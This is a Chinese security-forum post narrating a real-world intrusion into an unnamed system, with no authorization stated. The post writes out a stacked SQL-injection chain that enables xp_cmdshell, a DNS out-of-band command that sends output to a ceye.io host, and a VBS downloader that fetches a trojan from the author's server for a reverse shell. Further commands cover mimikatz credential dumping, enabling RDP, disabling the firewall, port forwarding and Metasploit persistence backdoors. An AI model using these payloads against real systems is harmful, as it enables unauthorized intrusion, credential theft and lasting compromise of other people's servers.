问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
对某系统实战练手
对某系统实战练手
信息收集 ---- ***\*用Dirsearch扫了一波目录没有发现什么\**** -------------------------------- ![图片](https://shs3.b.qianxin.com/butian_public/f7b28632bfacdf30354435aa2f06bd756.jpg) 直接用主站域名解析的ip访问发现主站是挂有cdn的 ![图片](https://shs3.b.qianxin.com/butian_public/f472a05302eb2f61605a19aaaf199a4bf.jpg) subDomainsBrute 扫描子域名 ![图片](https://shs3.b.qianxin.com/butian_public/f478d2edccee19dccebe3d0eb55a222f6.jpg) 其中一个子域没挂CDN,由此找到网站的真实ip,得到真实ip后nmap扫描发现8099端口有个未知应用 ![图片](https://shs3.b.qianxin.com/butian_public/f178cecafec7361ac0335e81e74a612b9.jpg) 访问发现是个WEB服务,一个登陆界面 漏洞利用 ---- 趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能 ![图片](https://shs3.b.qianxin.com/butian_public/feaea130d97eeac26a4a2f940cff4da2b.jpg) 遂把目光放在了nmap扫出的8099端口的web服务 ![图片](https://shs3.b.qianxin.com/butian_public/fcc5be4cd2b2b5b674599fb78042ebe32.jpg) 常规测试admin/admin,提示密码错误 ![图片](https://shs3.b.qianxin.com/butian_public/f9faa599c8e0e7aa636616caa049e4bd0.jpg) l3yx/xxxx,账号不存在 ![图片](https://shs3.b.qianxin.com/butian_public/f85381eaf0da266f08ca9f6d3937d7b96.jpg) 那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。 当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli! ![图片](https://shs3.b.qianxin.com/butian_public/f71c8f53b8a1143ebac2cb654b0e23f79.jpg) 于是很熟练的构造"万能密码",admin/x' or 'x'='x-- ![图片](https://shs3.b.qianxin.com/butian_public/fab35f828cd6db93fe6b86c5a57bd23cb.jpg) 然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息![图片](https://shs3.b.qianxin.com/butian_public/f75f819d18622a58361d4dc59b9469c31.jpg) ![图片](https://shs3.b.qianxin.com/butian_public/fe26f3c1ddba926b029a07235b6189275.jpg) 账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx'; 当账号密码为admin/11','xx'--时,页面返回正常 ![图片](https://shs3.b.qianxin.com/butian_public/f306509903b396e485d63477150816368.jpg) 由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。 sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令 第一步先用如下语句开启扩展存储过程 - - - - ```php EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; ``` ![图片](https://shs3.b.qianxin.com/butian_public/fa6f589017cc24a97cb1b14830948416f.jpg) 执行系统命令 > exec master..xp\_cmdshell "whoami" 这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果 ![图片](https://shs3.b.qianxin.com/butian_public/ff371177469174067c21318f74053e68c.jpg) ![图片](https://shs3.b.qianxin.com/butian_public/f117c4b1550124e4427c497b69d76a9a8.jpg) 命令执行结果DNS带外 ----------- 有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令 - ```php cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!" ``` 实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录 目标服务器貌似没有nslookup,换成ping &&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了 生成的temp文件要删除,否则下次执行会失败 sqlserver中一对双引号其中的双引号用两个双引号代替 最后的paylaod - - - ```php exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3"""; ``` ![图片](https://shs3.b.qianxin.com/butian_public/f4ce0eebfb99929d72e33bebd9d0e3a7f.jpg) ![图片](https://shs3.b.qianxin.com/butian_public/f9cd865005814584244c7059530303ddd.jpg) ![图片](https://shs3.b.qianxin.com/butian_public/fa7127e82c6bd0e461ef16c59ca13a6af.jpg) 直接就是system权限 写入VBS下载木马 --------- cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件 vbs下载文件脚本: - - - - - - - - - - - ```php iLocal = LCase(WScript.Arguments(1))iRemote = LCase(WScript.Arguments(0))Set xPost = CreateObject("Microsoft.XMLHTTP")xPost.Open "GET",iRemote,0xPost.Send()Set sGet = CreateObject("ADODB.Stream")sGet.Mode = 3sGet.Type = 1sGet.Open()sGet.Write(xPost.responseBody)sGet.SaveToFile iLocal,2 ``` 用法:cscript D:/l.vbs <http://xx.xx.xx.xx/x.exe> D:/x.exe 所以先得利用sql注入执行命令把该脚本一点点写入文件,如下 - - - - - - - - - - - ```php echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbsecho iRemote = LCase(WScript.Arguments(0))>>D:/l.vbsecho Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbsecho xPost.Open ""GET"",iRemote,0 >>D:/l.vbsecho xPost.Send() >>D:/l.vbsecho Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbsecho sGet.Mode = 3 >>D:/l.vbsecho sGet.Type = 1 >>D:/l.vbsecho sGet.Open()>>D:/l.vbsecho sGet.Write(xPost.responseBody)>>D:/l.vbsecho sGet.SaveToFile iLocal,2 >>D:/l.vbs ``` 注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\\转义,如图 ![图片](https://shs3.b.qianxin.com/butian_public/ff673eb136e3d4057e6e22bd860668fae.jpg) ![图片](https://shs3.b.qianxin.com/butian_public/ff0b9b3ff677db3877d2f9bc5ea1b016c.jpg) ![图片](https://shs3.b.qianxin.com/butian_public/f03815754b756238825bc0f0b4ca75d3f.jpg) 在执行 cscript D:/l.vbs <http://ip/x.exe> D:/x.exe 命令后,看到服务器确有下载记录 ![图片](https://shs3.b.qianxin.com/butian_public/fb029cbe2eebd482f87fa10ac047eee33.jpg) 说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊... 后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell ![图片](https://shs3.b.qianxin.com/butian_public/ff72398540abe324b9cb6ecf0f4769f3a.jpg) 信息收集 ---- > ipconfig 查了一下ip,发现处在内网 ![图片](https://shs3.b.qianxin.com/butian_public/f3713e414514c49962880a6ee5c991855.jpg) 查看域用户 > net group /domain 有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了 看到这里是没有域的,有点小失望 ![图片](https://shs3.b.qianxin.com/butian_public/f3dbd838c79b8aa5c041375cd7e0c9456.jpg) 查看系统基本信息 > systeminfo ![图片](https://shs3.b.qianxin.com/butian_public/fae9db4b93ee24735e36f458fef4dd581.jpg) 查看端口,没开3389 > netstat -ano ![图片](https://shs3.b.qianxin.com/butian_public/f42a6f396405a7e676638928e104f20ef.jpg) 查看相邻主机IP > arp -a ![图片](https://shs3.b.qianxin.com/butian_public/ffee30cd1e73a70304b220ef1478522fe.jpg) 抓用户hash ![图片](https://shs3.b.qianxin.com/butian_public/f7c0909c93ff274ee34e365f39d72b0ed.jpg) ![图片](https://shs3.b.qianxin.com/butian_public/f865707b029e3d78e70dc3ff6462a63df.jpg) 解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载 > load mimikatz 然后用kerberos命令抓取 或者用mimikatz\_command执行mimikatz命令 > mimikatz\_command -f sekurlsa::logonPasswords ![图片](https://shs3.b.qianxin.com/butian_public/f16e2636e328c93bd5b7136ae554185e8.jpg) 连接3389 ------ 目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启 - ```php REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f ``` ![图片](https://shs3.b.qianxin.com/butian_public/f8425a4f151d776de7d5555ecf43322e7.jpg) ![图片](https://shs3.b.qianxin.com/butian_public/f2518b8c7ef83f71c29764cf1aa210410.jpg) ![图片](https://shs3.b.qianxin.com/butian_public/f887ca8a6b134f37b9e954e6ba6dfec55.jpg) 关闭防火墙: > netsh firewall set opmode mode=disable 尝试关闭防火墙后还是连接不成功 测试发现3389端口仍然为closed ![图片](https://shs3.b.qianxin.com/butian_public/f2c07a5c16e30ac4284ba30104f371171.jpg) 真是被自己蠢到了... 这台服务器是在内网,要连接自然的先把端口转发到公网上啊 metasploit端口转发: > portfwd add -l 3389 -p 3389 -r 192.168.50.2 这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389) ![图片](https://shs3.b.qianxin.com/butian_public/fde39e11d5f230fb80f96af6e6490c374.jpg) 然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改 ![图片](https://shs3.b.qianxin.com/butian_public/fd27ab6023858097ddfa45271ac8ee8de.jpg) 内网扫描 ---- 要对目标内网进行扫描需要先添加一下路由 > run autoroute -s 192.168.50.2/24 ![图片](https://shs3.b.qianxin.com/butian_public/faba98e38d6013d24cc02495543320894.jpg) 使用metasploit的portscan扫描一下内网存活的主机 - - - ```php use auxiliary/scanner/portscan/tcpset rhosts 192.168.50.2/24set ports 139, 445exploit ``` ![图片](https://shs3.b.qianxin.com/butian_public/f41bf8663e6b41f197fe5376dc04a41d9.jpg) 有点慢呢,最后扫了一半还没发现其他主机就放弃了 权限维持 ---- metasploi Metsvc模块 这个使用很简单 > run metsvc ![图片](https://shs3.b.qianxin.com/butian_public/f1195dd291785e92ee7aab6eceb7071b6.jpg) 其实是给目标开了一个服务 ![图片](https://shs3.b.qianxin.com/butian_public/fab8d025bcf87484047e54b3da18e8a63.jpg) 连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc\_bind\_tcp,设置目标ip和绑定端口31337 metasploi Persistence模块 > run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx - - - - ```php -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息-i:设置反向连接间隔时间,单位为秒;-p:设置反向连接的端口号;-r:设置反向连接的ip地址 ``` ![图片](https://shs3.b.qianxin.com/butian_public/f7378ed863c891f910194a29eca7011d9.jpg) 清除脚本在下图位置 ![图片](https://shs3.b.qianxin.com/butian_public/fc8a2898a259a255fcfb7a1366034ad15.jpg) 若要清除后门,在meterpreter运行该脚本即可 ![图片](https://shs3.b.qianxin.com/butian_public/fb0d24a34540d74fe81ffb56b48a0329d.jpg) 文章转载于lemonsec
发表于 2021-06-18 18:31:58
阅读 ( 6613 )
分类:
渗透测试
4 推荐
收藏
3 条评论
tiantian01
2021-07-15 10:09
强
请先
登录
后评论
skk
2021-09-21 16:26
大佬那个cyce.io是什么网站
请先
登录
后评论
中国队长
2024-08-23 11:17
强
请先
登录
后评论
请先
登录
后评论
带头大哥
50 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!